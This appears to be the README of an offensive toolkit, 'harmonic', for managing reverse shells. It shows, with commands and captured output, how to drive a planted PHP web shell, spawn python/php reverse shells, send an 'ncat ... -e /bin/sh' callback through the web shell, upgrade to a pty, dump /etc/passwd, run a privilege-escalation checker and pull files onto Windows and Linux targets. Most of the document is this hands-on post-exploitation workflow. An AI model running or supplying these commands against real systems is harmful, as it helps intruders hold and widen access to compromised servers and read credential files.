
Suite for reverse shell handling geared toward working within the native shell
Beginning of a linux toolset for managing and interfacing with reverse shells (code is still currently in a quick and dirty state, with little exception handling). With a strong inspiration in UNIX philosophy, the basic idea is to have a daemon for handling arbitrary end points (connd, although it's not a proper daemon yet but can run in a separate terminal) and run tools against those endpoints.
End points are 'driven' by a script or a process and are exposed as files in the filesystem and then a thin software client can be used to interact with them, but can just as easily be written to and read from using shell commands. In fact, being able to run the scripts in a stand alone fashion from the shell is a key design factor where ideally, at most, a script will depend on an end point being there but can be used in combination as well (cascade into each other).
Current endpoint options are:
The thin software client (hthinc.py) provides a basic interface to the system's endpoint as well as quickly running scripts against the system. Several basic but useful script have been written:
The types of reverse shell drivers (i.e. what is driving the shell on the remote system) are the following (currently support for linux):
Other scripts:
Tell connd to start an endpoint, using a wedge shell driver against the supplied php script which makes system calls with formatted response. However, this single line script could just as easily have been code injected into an server log
$ hconnd.py start wsh http://example.com/hwsh.php
1
This has created endpoint 1 (two i/o pipes -- you can see them as t1i and t1o in the run subdirectory). So now we use hthinc.py to interact with the shell.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
We know this is a Linux box. We want to get away from a wedged in web shell and get a proper shell. Running the inbuilt command !help provides the thinc help message. We can run a script sp which will automatically run commands against the remote system, enumerating the environment, start a nc endpoint, spawn a reverse shell and automatically drop in via a new hthinc.py:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Or if we know we are using (for example) PHP as a driver, we can specify it:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
And say we have a shell with no TTY or want to break out we can run one of the default macros:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
Also if we want to log the output of a command we can use the log script which will save it to the current working directory:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
While end points are running, you can attach/detach clients since the connection processes are managed by the daemon
Because everything can be run in a more unixy way, we can repeat processes quickly from the shell. We start a webshell endpoint, get the endpoint ID and then from the shell run the sp.py spawner script against the endpoint (it's the same script as used in hthinc.py but using a different entry point).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
or as a one-liner:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
and easily automate:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
The tool hcmd.py allows you quickly run a command through an endpoint from your shell
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
and pipe or redirect the results as usual
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
You can use the list verb for hconn.py to see the current list of endpoints, with the state of the connection if relevent
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening
Setup a wedge shell endpoint:
$ hconn.py start wsh http://example.com/hwsh.php
1
Now we can setup a netcat listener on port 4444:
$ hconn.py start nc 4444
2
And then write to the wedge shell endpoint (eid 1) through the input file:
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i
This should have fired a shell back to the netcat listener. Attach the thin client to the netcat endpoint (eid 2) and we should have another shell waiting:
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Generalising the shell interface into files means scripts used against a webshell endpoint will also work against a netcat reverse shell endpoint. You can
invoke scripts using their absolute path ($HCROOT/share/script/*.py) or you can use the helper script hscr.py
We can run the sp.py against the netcat endpoint and spawn another reverse shell:
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$
and the equivalent using absolute path would be $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1
or we can run Linux Priv Escalation Checker against a webshell:
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished
and we can invoke them inside a hthinc.py instance
!run lpc
Environment variables can be used to define global values. There are three levels of variable, each a lower priority than the next:
The resource file variables are defined in $HCROOT/.hcrc. These are lowest priority but can be used to avoid polluting the system-wide environment variables
The environment/shell variables are brought into the process by the shell and prefixed with HCV_. These will merge with the resource variables and overwrite values that already exist.
The inline variables will overwrite anything previously defined
For these examples, LHOST=127.0.0.1 is defined as a resource variable in .hcrc and the script usage is./script LPORT [LHOST]
The following script will have LHOST=127.0.0.1 and LPORT=4455 (resource variable)
$ ./script 4455
The following script will have LHOST=192.168.1.101 and LPORT=4455 (shell variable)
$ HCV_LHOST=192.168.1.101 ./script 4455
The folllowing script will have LHOST=10.10.10.125 (inline variable)
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125
The same principles can be applied to hthinc.py !run SCR, (keep in mind: environment/shell variables are those passed to ./hthinc.py)
The portal server is a basic HTTP server than can be used to pull files onto the remote system using scripts. These scripts tend to act as macros around the command, creating a more uniform interaction across platforms. The server deals with files relatively from $HCROOT/share/disp/
hpd.py is running on port 80. DHOST and DPORT have have defined in .hcrc as 127.0.0.1 and 80 respectively (They point to the dispatch server). This means I don't have to enter these variables when invoking the script but if these need to be different, we just include them as inline variables like the FILE= variable.
We are invoking the scripts from hthinc.py but, again, we can run these scripts from our usual shell by handing them an endpoint ID on the command line. If DHOST and DPORT are already define, we do not need to include them on the command line.
For this we are using powershell, through pspull, to pull the file:
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
Here we don't have PowerShell so we need to initialise the portal script, then pull the file:
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+] Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful
The pull script is used for Linux:
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
Just to clarify the inline variables:
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful
Macros are defined in $HCROOT/.hcrc macro and invoked by the mac script. In this basic form they resemble an alias in a shell and are effectively simple one-way scripts, sending a command through the endpoint to the remote shell. It is easier to bind regularly used but labourous commands sequences to macros.
Invoking the mac script from a hthinc.py includes the use of an unnamed variabled, which is a variable without a label. This allows macros to be invoked like a commandline parameter to the script.
Again the macros can be invoked from your usual shell using the same mac.py script.
This example invokes the pty macro in a flakey shell. The macro is an alias for python -c 'import pty; pty.spawn("/bin/bash")':
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$
The equivalent to running it from the command line on (e.g.) endpoint 5 would be hscr.py 5 mac pty. Next time you attach a client to the endpoint
it should be running with a tty.
entering !run mac --list will display the list of macros.
For building connd:
go build connd